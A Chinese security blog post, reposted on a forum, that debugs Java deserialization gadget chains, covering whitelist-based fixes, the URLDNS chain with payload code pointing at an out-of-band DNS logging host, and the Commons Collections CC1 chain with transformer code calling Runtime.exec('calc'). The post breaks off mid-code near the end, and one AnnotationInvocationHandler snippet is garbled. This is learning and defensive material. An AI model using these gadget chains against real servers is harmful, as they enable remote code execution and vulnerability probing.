找回密码
 立即注册
首页 业界区 安全 Java反序列化链调试—初探(URLDNS、CC):一 ...

Java反序列化链调试—初探(URLDNS、CC):一

姥恫 2026-1-13 19:35:00
本文首发于:https://lrui1.top/posts/7929b704/
目前而言,想拿权限,大部分都依赖命令注入或者反序列化漏洞的利用,下文是作者调试Java反序列化常见利用链的随手记录,个人理解调试Java反序列化链可以自上而下的理解漏洞的利用过程。
环境清单

  • JDK 1.8.0_65
  • Apache commons collections 3.2.1
  • IDEA 2025.2.3
序列化&反序列化

定义一个User实体
  1. package top.lrui1.pojo;      import java.io.Serializable;    public class User implements Serializable {      private static final long serialVersionUID = 1L;        private Long id;      private String username;      private String password;      private String description;        public User() {          System.out.println("调用无参构造");      }        public User(Long id, String username, String password, String description) {          this.id = id;          this.username = username;          this.password = password;          this.description = description;          System.out.println("调用有参构造");      }        public String getUsername() {          System.out.println("调用get");          return username;      }        public void setUsername(String username) {          System.out.println("调用set");          this.username = username;      }        public Long getId() {          return id;      }        public void setId(Long id) {          this.id = id;      }        public String getPassword() {          return password;      }        public void setPassword(String password) {          this.password = password;      }        public String getDescription() {          return description;      }        public void setDescription(String description) {          this.description = description;      }        @Override      public String toString() {          return "User{" +                  "id=" + id +                  ", username='" + username + '\'' +                  ", password='" + password + '\'' +                  ", description='" + description + '\'' +                  '}';      }  }
复制代码
序列化与反序列化
  1. package top.lrui1;import org.junit.Test;import top.lrui1.pojo.User;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;public class FirstCode {    @Test    public void ser() throws IOException {        User user = new User();        user.setId(1L);        user.setUsername("test");        user.setPassword("test");        user.setDescription("This is test");        String outfile = "firstCode.bin";        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(outfile)));        oos.writeObject(user);        oos.close();        System.out.println("ser success!");    }    @Test    public void unser() throws IOException, ClassNotFoundException {        String outfile = "firstCode.bin";        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));        Object o = ois.readObject();        ois.close();        User user = (User) o;        System.out.println(user);    }}
复制代码

个人理解:序列化就是将Java对象变成一个二进制序列,方便存储,传输;反序列化就是将二进制序列还原成Java对象(利用反射填属性值),随后让程序执行其他相关逻辑
反序列化漏洞

漏洞代码

对于以下代码
  1. @Testpublic void unser() throws IOException, ClassNotFoundException {        String outfile = "firstCode.bin";        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outfile)));        Object o = ois.readObject();        ois.close();        User user = (User) o;        System.out.println(user);}
复制代码
如果ObjectInputStream所打开的数据流是不可信的(文件流或其他流可被用户控制),就存在反序列化漏洞。
原因分析

可以参考 https://su18.org/post/ysoserial-su18-1/#三-反序列化漏洞
总结一句话:反序列化过程中,如果目标类重写了readObject方法,则会调用相应的重写逻辑;通过控制相关逻辑可以用来利用反序列化漏洞
修复方案

修复代码如下
方法一:使用 JDK 9+ 的 JEP 290 (ObjectInputFilter)
JDK 9 或更高版本(或者在 JDK 8 的高版本更新中)
  1. @Test  public void safeUnSer() throws Exception {      String outFile="urldns.bin";      ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(outFile)));      ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(              "top.lrui1.pojo.User;java.lang.*;!*"      );      ois.setObjectInputFilter(filter);      Object o = ois.readObject();      if (o instanceof User) {          User user = (User) o;          System.out.println(user);      }  }
复制代码
在使用白名单时,不仅要放行 User 类本身,还需要放行 User 类中所有成员变量的类型(例如 User 里有个 String name,你就必须允许 java.lang.String)。如果漏掉了成员变量的类型,反序列化会报错失败。
方法二:自定义ObjectInputStream、重写resolveClass、白名单校验
  1. /**   * 自定义ObjectInputStream,覆写resolveClass,加白名单   * @throws Exception   */@Test  public void safeUnSer2() throws Exception {      class SecureObjectInputStream extends ObjectInputStream {          // 定义白名单:包含 User 类本身以及 User 类中字段可能用到的类(如 String, ArrayList 等)          // 不能使用通配符          private final Set WHITELIST = new HashSet(Arrays.asList(                  "top.lrui1.pojo.User",                  "java.lang.String",                  "java.lang.Integer",                  "java.lang.Long",                  "java.lang.Number"                  // 注意:如果 User 类包含其他引用类型,必须全部加进来          ));            public SecureObjectInputStream(InputStream in) throws IOException {              super(in);          }            @Override          protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {              // 在类被实例化之前进行检查              if (!WHITELIST.contains(desc.getName())) {                  throw new InvalidClassException("不在白名单,Unauthorized deserialization attempt", desc.getName());              }              return super.resolveClass(desc); // 检查通过,调用父类方法正常解析          }      }        String outFile="firstCode.bin";      ObjectInputStream ois = new SecureObjectInputStream(Files.newInputStream(Paths.get(outFile)));      Object o = ois.readObject();      if (o instanceof User) {          User user = (User) o;          System.out.println(user);      }  }
复制代码
方法三:使用Apache Commons IO
  1. @Test  public void safeUnSer3() throws Exception {      String outfile = "urldns.bin";      InputStream in = Files.newInputStream(Paths.get(outfile));      ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()              .accept(User.class, Number.class, Long.class) // String.class is automatically accepted              .setInputStream(in)              .get();      User user = (User) vois.readObject();      vois.close();      System.out.println(user);  }
复制代码
将配置单独定义
  1. @Test  public void safeUnSer3OtherCode() throws Exception {      final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()              .accept(User.class, Number.class, Long.class);        String outfile = "urldns.bin";      InputStream in = Files.newInputStream(Paths.get(outfile));      ValidatingObjectInputStream vois = ValidatingObjectInputStream.builder()              .setPredicate(predicate)              .setInputStream(in)              .get();      User user = (User) vois.readObject();      vois.close();      System.out.println(user);  }
复制代码
通过阻止非预期的类进行反序列化,能解决大多数场景下的漏洞问题;但是白名单中的类本身存在一条可利用的反序列化链,那么漏洞还是存在
举个栗子,白名单中存在HashMap和URL
  1. final ObjectStreamClassPredicate predicate = new ObjectStreamClassPredicate()                .accept(User.class, Number.class, Long.class,HashMap.class, URL.class,Integer.class);
复制代码
攻击者可以利用URLDNS这个链来进行探测
在添加白名单的时候,要保证常见的利用链不包含在白名单中
总结

对于Java原生反序列化,漏洞产生的原因:用户直接反序列化不可信数据(未对数据作任何校验)
利用条件:
1、存在反序列化漏洞
2、有反序列化链可以被利用
下文探究一些Java常见的反序列化链,来学习漏洞的利用过程
URLDNS

自底向上理解
对于URL这个类,其equals和hashcode都存在解析主机名的行为,下面基于hashcode的调用进行分析
触发DNS解析(Sink Gadget)

URL.hashCode 代码如下

当hashCode不为-1,直接返回;否则调用URLStreamHandler.hashCode方法获取值并返回
URLStreamHandler.hashCode关键代码如下

对传入的URL对象,先获取协议,h += 协议的hashcode;随后在353行调用getHostAddress解析主机名
URLStreamHandler.getHostAddress代码如下

InetAddress.getByName,获取主机名的IP地址
总结:只要URL对象的hashcode方法被调用,就会解析对象中存储的host地址
目前的调用链
  1. URL.hashCode()        URLStreamHandler.hashCode()                URLStreamHandler.getHostAddress()
复制代码
调用覆写的readObject(kick-off gadget)

HashMap.readObject关键代码如下

1361~1400,前面的代码对获取map的一些就基本信息后,1394获取key后,1397存入map时调用hash()获取key的Hash值
HashMap.hash代码如下

对传入的key为空,返回0;不为空调用Key的hashCode方法
所以对于HashMap,只要Key的类为java.net.URL,那么在反序列化的过程中就会调用java.net.URL.hashCode,触发过程3
总结:目前的调用链
  1. HashMap.readObject()        HashMap.hash()                URL.hashCode()                        URLStreamHandler.hashCode()                                URLStreamHandler.getHostAddress()
复制代码
反序列化漏洞(readObject调用处)

top.lrui1.Unser.main代码如下

从命令行获取文件名,无白名单控制下,反序列化不可信数据
构造payload

构造一个Key为URL的HashMap,序列化出来即可
HashMap的put方法会调用putVal,其中putVal的第一个参数用了hash()方法对Key获取Hash值
在构造时可以先设置URL对象的hashcode值不为-1,存入map后在设置为-1,等待触发解析
  1. @Test  public void sec() throws Exception {      HashMap map = new HashMap();      URL url = new URL("http://0j02oed5.eyes.sh");      // 反射获取HashCode,先修改值不为-1,规避DNS解析      Field f = URL.class.getDeclaredField("hashCode");      f.setAccessible(true);      f.set(url, 1);        // 放入map      map.put(url, 1);        // 修改hashCode为-1,等待反序列化正常触发DNS解析      f.set(url, -1);        // 序列化      ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin")));      oos.writeObject(map);  }
复制代码
ysoserial的视线代码
  1. public Object getObject(final String url) throws Exception {            //Avoid DNS resolution during payload creation          //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.        URLStreamHandler handler = new SilentURLStreamHandler();            HashMap ht = new HashMap(); // HashMap that will contain the URL          URL u = new URL(null, url, handler); // URL to use as the Key          ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.            Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.            return ht;  }    public static void main(final String[] args) throws Exception {          PayloadRunner.run(URLDNS.class, args);  }    /**   * This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.   * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.
  2.    *   * [b]Potential false negative:[/b]   * If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the   * second resolution.
  3.    */  static class SilentURLStreamHandler extends URLStreamHandler {            protected URLConnection openConnection(URL u) throws IOException {                  return null;          }            protected synchronized InetAddress getHostAddress(URL u) {                  return null;          }  }
复制代码
通过自定义一个URLStreamHandler的子类,重写getHostAddress方法,在使用hashmap.put方法存入值,HashMap.hash -> ···· -> SilentURLStreamHandler.getHostAddress,不触发解析,随后将URL.hashcode设置为-1,让反序列化时触发解析
总结

URLDNS链无JDK版本限制,可以方便的用来探测程序反序列化时是否有配置白名单
运行测试代码的调用堆栈如下
  1. java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:436) // 触发DNS解析java.net.URLStreamHandler.hashCode(URLStreamHandler.java:353) java.net.URL.hashCode(URL.java:878)java.util.HashMap.hash(HashMap.java:338)java.util.HashMap.readObject(HashMap.java:1397) // 调用覆写的readObjectsun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)java.lang.reflect.Method.invoke(Method.java:497)java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)top.lrui1.Unser.main(Unser.java:20) // 调用ois.readObject
复制代码
CC1

Apache Common Collections这个库存在可利用的反序列化链,相关类的了解学习可参考
https://su18.org/post/ysoserial-su18-2/#前置知识
相关类学习

InvokerTransformer

transform代码如下
  1. public Object transform(Object input) {      if (input == null) {          return null;      }      try {          Class cls = input.getClass();          Method method = cls.getMethod(iMethodName, iParamTypes);          return method.invoke(input, iArgs);                    } catch (NoSuchMethodException ex) {          throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");      } catch (IllegalAccessException ex) {          throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");      } catch (InvocationTargetException ex) {          throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);      }  }
复制代码
根据传入的input,获取其Class,调用方法;构造函数中可以设置iMethodName、iParamTypes
测试代码如下
  1. @Test  public void InvokeTransformerTest(){      InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});      itf.transform(Runtime.getRuntime());  }
复制代码
ChainedTransformer

transform代码如下
  1. public Object transform(Object object) {      for (int i = 0; i < iTransformers.length; i++) {          object = iTransformers[i].transform(object);      }      return object;  }
复制代码
根据属性中的transform,循环调用;并将这次transform的返回值作为下一个transform的输入
测试代码如下
  1. @Test  public void ChainedTransformerTest(){      InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});      ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{itf});      chtf.transform(Runtime.getRuntime());  }
复制代码
ConstantTransformer

transform代码如下
  1. public Object transform(Object input) {      return iConstant;  }
复制代码
直接返回属性中的iConstant,其值可以通过构造函数设置
测试代码如下
  1. @Test  public void ConstantTransformerTest(){      ConstantTransformer ctf = new ConstantTransformer(Runtime.getRuntime());      InvokerTransformer itf = new  InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});      ChainedTransformer chtf = new ChainedTransformer(new Transformer[]{ctf,itf});      chtf.transform("随便输入");  }
复制代码
其实这个才是ChainedTransformer的测试代码吧
攻击链构造

ChainedTransformer

根据以上测试代码,我们可以构造一个Transformer链,测试代码如下
  1. @Test  public void testTransform() throws Exception {      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{              new ConstantTransformer(Runtime.class),              // 反射获取getRuntime方法              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              // invoke,获取其返回值              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              // 执行exec方法              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),        });      chainedTransformer.transform("随便输入");  }
复制代码
调用链如下
  1. ChainedTransformer.transform()        ConstantTransformer.transform()        InvokerTransformer.transform()        InvokerTransformer.transform()        InvokerTransformer.transform() // sink Gadget
复制代码
ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Serializable接口,他们可以被序列化
TransformedMap

ChainedTransformer的readObject方法并没有调用其自身的transform方法,还要往上继续找链,在IDEA中,右键Transformer.transform方法,选择Find Usage,查找其他类调用Transformer.transform的情况

找到一个类:TransformedMap,有三个调用,分析其中一个调用,transformKey方法调用了自身属性keyTransformer.transform方法;对TransformedMap.transformKey右键Find Usage,发现两处调用,TransformedMap.transformMap、TransformedMap.put
作者这边分析的这个调用并不是CC1中的一个环节,可直接跳到后面分析setValue调用,那个才是CC1中的一个传递链

TransformedMap继承于AbstractInputCheckedMapDecorator这个抽象类,AbstractInputCheckedMapDecorator又继承于AbstractMapDecorator,AbstractMapDecorator这个类实现了Map接口,所以TransformedMap.put这个方法可由Map.put进行调用,比较泛用,先从它入手
目前调用链的顶层是TransformedMap,可通过put方法触发我们构造的攻击链,测试代码如下
鸽一下关于TransformedMap的构造函数分析,我们要序列化类就要分析它要怎么创建,可以让AI干
  1. @Test  public void testTransform2() throws Exception {      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{              new ConstantTransformer(Runtime.class),              // 反射获取getRuntime方法              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              // invoke,获取其返回值              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              // 执行exec方法              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),        });        HashMap hashmap = new HashMap();      hashmap.put("test","test");      hashmap.put("test2","test");      Map map = TransformedMap.decorate(hashmap, chainedTransformer, null);      map.put("test","test123");  }
复制代码
TransformedMap.readObject主要是通过父类的readObject进行反序列化,具体代码如下
  1. private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {      in.defaultReadObject();      map = (Map) in.readObject();  }
复制代码
没有调用自身的put方法,也就没有调用transform,需要找其他类能触发TransformedMap.put方法的类,还要往上继续找链
根据之前对Transformer.transform,Find Usage的分析,除了transformKey、还有其他两个调用transformValue、checkSetValue;参考上述分析,可以总结出下方的利用链(CC1实际是利用到了setValue())
  1. TransformedMap.put() or TransformedMap.putAll() or TransformedMap.setValue()        ChainedTransformer.transform()                ConstantTransformer.transform()                InvokerTransformer.transform()                InvokerTransformer.transform()                InvokerTransformer.transform() // sink Gadget
复制代码
实际是作者尝试往put找链失败了hh,补充一下setValue的找链过程吧
TransformedMap.checkSetValue()

之前对Transformer.transform方法的Find Usage,发现TransformedMap.checkSetValue这个调用点,代码如下
  1. protected Object checkSetValue(Object value) {      return valueTransformer.transform(value);  }
复制代码
继续对TransformedMap.setValue做Find Usage

有且只有一个调用点:AbstractInputCheckedMapDecorator.MapEntry.setValue,这个方法覆写了AbstractInputCheckedMapDecorator的父类AbstractMapEntryDecorator的setValue;因为AbstractMapEntryDecorator实现了Map接口,所以这个setValue也作为了Map接口里的实现方法
setValue方法描述java.util.Map.Entry#setValue
测试代码如下
  1. @Test  public void testTransform3() throws Exception {      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{              new ConstantTransformer(Runtime.class),              // 反射获取getRuntime方法              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              // invoke,获取其返回值              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              // 执行exec方法              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),        });        HashMap hashmap = new HashMap();      hashmap.put("test","test");      hashmap.put("test2","test");      Map map = TransformedMap.decorate(hashmap, null, chainedTransformer);      Set set = map.entrySet();      for (Map.Entry entry : set) {          Map.Entry tmp;          entry.setValue("test123");      }      System.out.println(map);    }
复制代码
调用链如下
  1. AbstractInputCheckedMapDecorator$MapEntry.setValue()        TransformedMap.checkSetValue()                ChainedTransformer.transform()                        ConstantTransformer.transform()                        InvokerTransformer.transform()                        InvokerTransformer.transform()                        InvokerTransformer.transform() // sink Gadget
复制代码
AnnotationInvocationHandler

老样子,对setValue在IDEA中Find Usage,

readObject调用setValue,Holishift,找到入口类了
如果没查到,可以去Github下载一下源码(Oracle自带的有一些类没有),并在SDK哪里配置源码路径,下载地址 https://github.com/openjdk/jdk ,选择对应的tag直接下载zip即可,导入直接导zip就行,IDEA会自己扫
接下来就是分析这个类对象的创建和反序列化过程了,看什么条件下会触发这个setValue
类属性如下
  1. private static final long serialVersionUID = 6182022883658399397L;private final Class> memberTypes = annotationType.memberTypes();        for (Map.Entry memberValue : memberValues.entrySet()) {          String name = memberValue.getKey();          Class memberType = memberTypes.get(name);          if (memberType != null) {  // i.e. member still exists              Object value = memberValue.getValue();              if (!(memberType.isInstance(value) ||                    value instanceof ExceptionProxy)) {                  memberValue.setValue(                      new AnnotationTypeMismatchExceptionProxy(                          value.getClass() + "[" + value + "]").setMember(                              annotationType.members().get(name)));              }          }      }  }
复制代码
这里推荐参考这篇文章的思考思路,毕竟这个代码可读性对我这种小白而言可读性很糟糕,所以静态结合动态分析逻辑是个很好的方法 https://www.freebuf.com/articles/web/410767.html
简单分析其逻辑
1、s.defaultReadObject(); 利用反射从流中获取值写入属性
2、利用type的值,获取AnnotationType对象,即我们反序列化的type(注解的详细信息)
3、获取我们传入注解的成员信息,存到memberTypes
4、进入循环,遍历我们反序列化传入的memberValues(一个Map);
循环逻辑:获取memberValues的key,用这个key去存到memberTypes里查找值,赋值给memberType,如果该值存在,执行 IF 逻辑1
if逻辑1:获取memberValues的Value赋值给value,如果memberType和value之间不可赋值 或者 value是ExceptionProxy的示例,执行memberValue.setValue,触发攻击链
isInstance()方法等效于 instance of运算符
所以我们要执行memberValue.setValue并触发攻击链,有以下条件

  • 反序列化传入的memberValues为前面的 TransformedMap
  • 反序列化传入的type 需要有属性——传入的接口需要有属性
  • type属性字段名需要有一个在TransformedMap的Key中
  • 条件3 TransformedMap Key对应的value不能赋值给type属性字段
假设传入的type为Target,其有一个属性ElementType[] value();,我们可以定义TransformedMap,并put一个"value":"随便输入"即可(String和ElementType[]一个数组,一个普通类型,不能赋值)
接下来就是构造AnnotationInvocationHandler这个对象,其构造方法如下
[code]AnnotationInvocationHandler(Class

相关推荐

2026-2-8 20:17:31

举报

2026-2-9 12:04:48

举报

2026-2-9 16:43:27

举报

2026-2-9 17:18:03

举报

2026-2-11 19:38:30

举报

2026-2-12 22:02:52

举报

您需要登录后才可以回帖 登录 | 立即注册